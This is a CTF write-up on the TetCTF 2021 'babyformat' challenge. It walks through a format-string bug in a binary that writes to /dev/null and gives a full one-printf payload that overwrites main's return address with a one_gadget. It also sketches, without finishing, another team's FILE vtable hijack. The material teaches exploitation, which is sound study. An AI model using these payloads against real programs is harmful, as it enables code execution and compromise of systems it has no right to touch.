TetCTF 2021 - babyformat - What can we do with just 1 printf?

Analysing solutions from the babyformat pwnable challenge in TetCTF 2021

Great CTF! babyformat was a pretty strict pwnable challenge I solved during this CTF, but in the end, every team had their own solution. So I decide to look at the different solutions to see what are the interesting ideas people can come up with.

[PWN] babyformat

Files given: babyformat, libc-2.23.so

From libc-2.23.so, we know the addresses from one_gadget:

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Analyze babyformat:

  • checksec - PIE disabled
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  • IDA

    • Weird call graph, sub_400982 do nothing other than calling sub_40091C.

babyformat call-graph

  • sub_40091C vulnerable to Format String Bug (FSB) at fprintf.
int __fastcall sub_40091C(FILE *a1, const char *a2)
{
  printf("Your data: %s\n", a2);
  return fprintf(a1, a2);
}
  • The a1 argument of fprintf was created in sub_4009CB and pointed to /dev/null.
int __fastcall sub_4009CB(__int64 a1)
{
  FILE *stream; // [rsp+18h] [rbp-28h]

  printf("Data you wan't to log into /dev/null: ");
  stream = fopen("/dev/null", "w+");
  if ( !stream )
  {
    puts("Error~");
    exit(0);
  }
  sub_400897(a1, 512LL);
  sub_400982((__int64)stream, a1);
  return fclose(stream);
}
  • The a2 argument passed from main, pointed to .bss section, the unk_602060.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_400A8C(a1, a2, a3);
  sub_4009CB((__int64)&unk_602060);
  return 0LL;
}

Why is it strict?

  • Full RELRO, we can’t modify GOT.
  • fprintf points to /dev/null, we can’t leak stuff, at least by the first call to fprintf.
  • User input located in .bss section, not on the stack, so we can’t just input an address and hope to find it somewhere on the stack.

Things we can do with a format string bug? According to printf document

  • Leak addresses on the stack with %x and %p.
  • Leak data pointed by a pointer on the stack with %s.
  • Write the number of printed characters to the address pointed by a pointer on the stack with %n.
  • Use $ for positional argument. %4$p mean the 4th argument.
  • Use field width to specify how many characters to print. Eg. $100c: 100 characters.
  • Use length modifier (h, hh, l, ll) to specify how many bytes to write with %n.
  • Use * to have a variable field width, equals to an signed integer on the stack, can combine with positional argument. Eg. %*10$c: print a number of characters equals to the 10th argument.
  • printf go through the format from begin to end, one by one. As long as we haven’t use positional argument, the $, which trigger the copy of all referenced arguments, we can modify arguments on the stack with %n and later use it as an argument.

What do we have?

  • Long RBP chain on the stack caused by an extra call to sub_400982, can be used to achive arbitary write. Although I think it’s still possible without the function :D
  • First fprintf prints to /dev/null, we can print GBs of data in seconds, easier to write big numbers with %n.
  • No PIE (0x400000), we have the addresses of functions, plt entries, bss, etc.

And also, because FSB directly related to the stack, let me put the stack here. Notice the RBP chain at 0x7fffffffebe0, libc address at 0x7fffffffeca8 —▸ 0x155554f84840 (__libc_start_main+240) ◂— mov edi, eax.

pwndbg> tel $sp 50
00:0000│ rsp  0x7fffffffebb0 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
01:0008│      0x7fffffffebb8 —▸ 0x155555556010 ◂— 0xfbad2480
02:0010│      0x7fffffffebc0 ◂— 0x1
03:0018│      0x7fffffffebc8 —▸ 0x155555556010 ◂— 0xfbad2480
04:0020│      0x7fffffffebd0 —▸ 0x400c02 ◂— '/dev/null'
05:0028│      0x7fffffffebd8 ◂— 0xba392f5ca4ff7600
06:0030│ rbp  0x7fffffffebe0 —▸ 0x7fffffffec20 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— ...
07:0038│      0x7fffffffebe8 —▸ 0x4009b4 ◂— nop    
08:0040│      0x7fffffffebf0 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
09:0048│      0x7fffffffebf8 —▸ 0x155555556010 ◂— 0xfbad2480
0a:0050│      0x7fffffffec00 ◂— 0x200555557e0
0b:0058│      0x7fffffffec08 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
0c:0060│      0x7fffffffec10 ◂— 0x40affec70
0d:0068│      0x7fffffffec18 ◂— 0xba392f5ca4ff7600
0e:0070│      0x7fffffffec20 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push   r15
0f:0078│      0x7fffffffec28 —▸ 0x400a4f ◂— mov    rax, qword ptr [rbp - 0x28]
10:0080│      0x7fffffffec30 —▸ 0x15555532e8d8 ◂— mov    eax, 0x225d
11:0088│      0x7fffffffec38 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
12:0090│      0x7fffffffec40 —▸ 0x7fffffffec50 ◂— 0x0
13:0098│      0x7fffffffec48 —▸ 0x155555556010 ◂— 0xfbad2480
14:00a0│      0x7fffffffec50 ◂— 0x0
15:00a8│      0x7fffffffec58 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push   r15
16:00b0│      0x7fffffffec60 —▸ 0x4007b0 ◂— xor    ebp, ebp
17:00b8│      0x7fffffffec68 ◂— 0xba392f5ca4ff7600
18:00c0│      0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push   r15
19:00c8│      0x7fffffffec78 —▸ 0x400b21 ◂— mov    eax, 0
1a:00d0│      0x7fffffffec80 —▸ 0x400b40 ◂— push   r15
1b:00d8│      0x7fffffffec88 —▸ 0x4007b0 ◂— xor    ebp, ebp
1c:00e0│      0x7fffffffec90 —▸ 0x7fffffffed78 ◂— 0x1c
1d:00e8│      0x7fffffffec98 ◂— 0xba392f5ca4ff7600
1e:00f0│      0x7fffffffeca0 —▸ 0x400b40 ◂— push   r15
1f:00f8│      0x7fffffffeca8 —▸ 0x155554f84840 (__libc_start_main+240) ◂— mov    edi, eax
20:0100│      0x7fffffffecb0 —▸ 0x155555553ca0 (_rtld_global_ro) ◂— 0x5080700000000

My solution

Summary

No leak, use one_gadget, work with PIE enabled, success rate of 1/32. Final payload:

%c%c%c%c%c%c%c%c%c%159c%hhn%149822c%*36$c%19$n%330c%11$hhn

Using everything we can do with printf

Exploit idea: overwrite libc address at 0x7fffffffeca8 with one_gadget. When main returns, we get our shell.

  1. Point RBP chain to the libc address on the stack without using $.

    Here we change one lower byte value of the second RBP to point to the libc address on the stack with %hhn. Because stack position is 8-bytes aligned but randomly located, we are bruteforcing the higher half of the low byte, thus 1/16 success rate.

    To avoid using $, just use a bunch of %c prior to %hhn. Remember to count the number of characters. In this case I’m trying to write 0xa8 which is 168, and RBP chain is at 11th argument, so we need %c%c%c%c%c%c%c%c%c%159c%hhn.

  2. Calculate and write one_gadget to the return address of main.

    Using the variable field width * at the main’s return address prints a number of characters equals to the signed integer (the lower half) of the address. We have %*36$c.

    To build one_gadget address and then write back to the return address, we need to calculate the number of missing characters, precisely:

    ONE_GADGET_OFFSET = 0x45226 # offset of one_gadget to libc base
    CURRENT_OFFSET = 0x20840 # offset of main's return address to libc base
    
    REMAIN = ONE_GADGET_OFFSET - CURRENT_OFFSET - 168 # 168 printed chars
    # REMAIN = 149822
    

    Thus we have %149822c, then write to the address using the 2nd pointer that we changed in the RBP chain, so %19$n.

    Note that * will use the selected argument as a signed integer, so our plan will only success if the highest bit of the number is not set to 1 (negative number), and that chance is 1/2, random stack position.

  3. Finally, for main to return flawlessly, we recover the RBP chain to its original state.

    Print more characters until we can write 0x70 with %11$hhn. Then we have %330c%11$hhn.

  4. Try the payload again and again until succeed and just cat /home/babyformat/flag.

%c%c%c%c%c%c%c%c%c%159c%hhn%149822c%*36$c%19$n%330c%11$hhn

Solution from @_lkmidas & Catafact (Efiens)

Efiens ended 3rd place in TetCTF 2021, congratz! Let’s take a look at their solution.

TL;DR

Wow, I thought FILE struct vtable hijacking is dead since libc 2.24 … but wait … this is libc 2.23 :D

  1. Craft FILE structure and its vtable, stack pivot to .bss to change FILE *stream. Leak libc with printf("#%29$lx#xxxxxxxx") and then _start() called when fclose(stream).
  2. Do the same thing to call system("\x80\x80\x80\x80\x80\x80\x80\x80;/bin/sh").

FILE vtable hijacking

Functions to interact with file streams like fwrite, fputs, fclose, etc., internally calls functions in associated FILE (actually _IO_FILE_plus) struct’s vtable.

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

By controlling the vtable pointer, we control which functions are called by, in this case, fclose. The format of the vtable is as follow:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

The exploit

Firstly, take advantage of the RBP chain to change RBP once sub_400982 returns. RBP should be pointing to our input in .bss, so we control the FILE *stream pointer. The pointer is at rbp - 0x28.

mov    rax, qword ptr [rbp - 0x28]
mov    rdi, rax
call   0x400710 <0x400710> # fclose

Since we control a large amount of data in .bss, we can put both our _IO_FILE_plus and its vtable there. There are 2 things in the vtable we want to modify, _IO_file_close and __GI__IO_file_finish as fclose calls these functions internally.

To be continued…

wildcat
wildcat
Cat lover, CTF player with u0K++

I play CTF

Previous

Related